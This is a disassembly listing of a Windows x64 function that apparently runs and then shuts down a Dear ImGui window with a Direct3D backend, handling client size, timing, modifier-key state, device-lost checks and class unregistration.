lea rdx, [rbp + 0x470]
mov rcx, qword [0x1403b72e8]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x47c]
sub eax, dword [rbp + 0x474]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov eax, dword [rbp + 0x478]
sub eax, dword [rbp + 0x470]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x10], xmm0
movss dword [rbx + 0x14], xmm1
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400842a3
mov rsi, qword [0x1403b71f0]
mov ecx, dword [rsi + 0x161c]
test ecx, ecx
jns 0x140084281
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, r13d
test eax, eax
cmovg edx, eax
lea rcx, [rsi + 0x1618]
call fcn.1400a6a60
mov dword [rsi + 0x1618], r13d
xor r9d, r9d
lea r8, [0x1400b9f90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
mov byte [reloc.WS2_32.dll_accept], 0
mov qword [rbp + 0x710], r13
lea rcx, [rbp + 0x710]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0x710]
mov rax, rcx
sub rax, qword [0x1403b72f0]
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x1403b72f8]
divss xmm1, xmm0
movss dword [rbx + 0x18], xmm1
mov qword [0x1403b72f0], rcx
mov ecx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13c], al
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13d], al
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13e], al
mov byte [rbx + 0x13f], 0
call fcn.1400b9ac0
cmp byte [rbx + 0xcf], 0
je 0x14008434a
mov eax, 0xffffffff
jmp 0x140084357
mov rax, qword [0x1403b71f0]
mov eax, dword [rax + 0x20d0]
cmp dword [reloc.WS2_32.dll_htons], eax
je 0x14008436a
mov dword [reloc.WS2_32.dll_htons], eax
call fcn.1400b9940
call fcn.1400b9cc0
call fcn.14008a850
lea rdx, [0x140384732]
lea rcx, [rbp + 0x4d0]
call fcn.14006e120
call fcn.140094080
call fcn.14008cfd0
mov rcx, qword [0x1403b71d0]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r13d
movss dword [rsp + 0x28], xmm6
mov dword [rsp + 0x20], r13d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x1403b71d0]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14008440f
call fcn.14008d4c0
mov rax, qword [0x1403b71f0]
mov rax, qword [rax + 0x1ef8]
mov rcx, qword [rax]
add rcx, 0xa8
mov rax, r13
cmp byte [rcx], r13b
cmovne rax, rcx
mov rcx, rax
call fcn.1400b8880
mov rcx, qword [0x1403b71d0]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [rdi + 8], 0x400
je 0x1400844ea
call fcn.14009d1e0
mov rbx, qword [0x1403b71f0]
mov r15d, 1
mov eax, dword [rbx + 0x1628]
cmp eax, r15d
jle 0x14008448c
mov r14d, 8
nop
mov rax, qword [rbx + 0x1630]
mov rsi, qword [r14 + rax]
test dword [rsi + 4], 0x400
jne 0x14008447a
mov rax, qword [rbx + 0x15c0]
test rax, rax
je 0x140084467
xor edx, edx
mov rcx, rsi
call rax
mov rax, qword [rbx + 0x1608]
test rax, rax
je 0x14008447a
xor edx, edx
mov rcx, rsi
call rax
inc r15d
add r14, 8
mov eax, dword [rbx + 0x1628]
cmp r15d, eax
jl 0x140084440
mov r15d, 1
cmp eax, r15d
jle 0x1400844ea
mov r14d, 8
nop dword [rax]
mov rax, qword [rbx + 0x1630]
mov rsi, qword [r14 + rax]
test dword [rsi + 4], 0x400
jne 0x1400844da
mov rax, qword [rbx + 0x15c8]
test rax, rax
je 0x1400844c7
xor edx, edx
mov rcx, rsi
call rax
mov rax, qword [rbx + 0x1610]
test rax, rax
je 0x1400844da
xor edx, edx
mov rcx, rsi
call rax
inc r15d
add r14, 8
cmp r15d, dword [rbx + 0x1628]
jl 0x1400844a0
mov rcx, qword [0x1403b71d0]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140084527
mov rcx, qword [0x1403b71d0]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x140084527
call fcn.140082d90
cmp dword [rbp + 0x720], 0x12
jne 0x140084170
call fcn.14009d7e0
call fcn.1400b9130
mov rcx, qword [0x1403b72c0]
test rcx, rcx
je 0x140084557
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1403b72c0], r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdx, rax
lea rcx, str.ImGui_Platform
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rcx, qword [0x1403b72d0]
test rcx, rcx
je 0x140084581
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x1403b72d0], r13
mov qword [0x1403b72d8], r13
mov qword [0x1403b72e0], r13
mov qword [0x1403b72e8], r13
mov qword [0x1403b72f0], r13
mov qword [0x1403b72f8], r13
mov dword [reloc.WS2_32.dll_htons], 9
mov byte [0x1403b7214], 0
mov byte [reloc.WS2_32.dll_accept], 1
mov rbx, qword [0x1403b71f0]
mov rcx, rbx
call fcn.14008bf20
cmp qword [0x1403b71f0], rbx
jne 0x1400845e2
mov qword [0x1403b71f0], r13
test rbx, rbx
je 0x140084609
mov rcx, rbx
call fcn.1400a7460
mov rax, qword [0x1403b71f0]
test rax, rax
je 0x140084601
dec dword [rax + 0x3b0]
mov rcx, rbx
call fcn.14027a448
mov rcx, qword [0x1403b71d0]
test rcx, rcx
je 0x140084622
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1403b71d0], r13
mov rcx, qword [0x1403b71d8]
test rcx, rcx
je 0x14008463b
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1403b71d8], r13
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x4c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
lea rcx, [rbp + 0x4d0]
call fcn.140084900
jmp 0x1400846c0
mov rcx, qword [0x1403b71d8]
mov rdx, qword [0x1403b71d0]
test rdx, rdx
je 0x140084688
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1403b71d0], r13
mov rcx, qword [0x1403b71d8]
test rcx, rcx
je 0x14008469a
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
mov qword [0x1403b71d8], r13
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x4c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
lea rcx, [rbp + 0x4d0]
call fcn.140084900
mov eax, 1
mov rcx, qword [rbp + 0xab0]
xor rcx, rsp
call fcn.140262e10
lea r11, [rsp + 0xbd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14027b778
nop
int3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
jmp 0x140082e30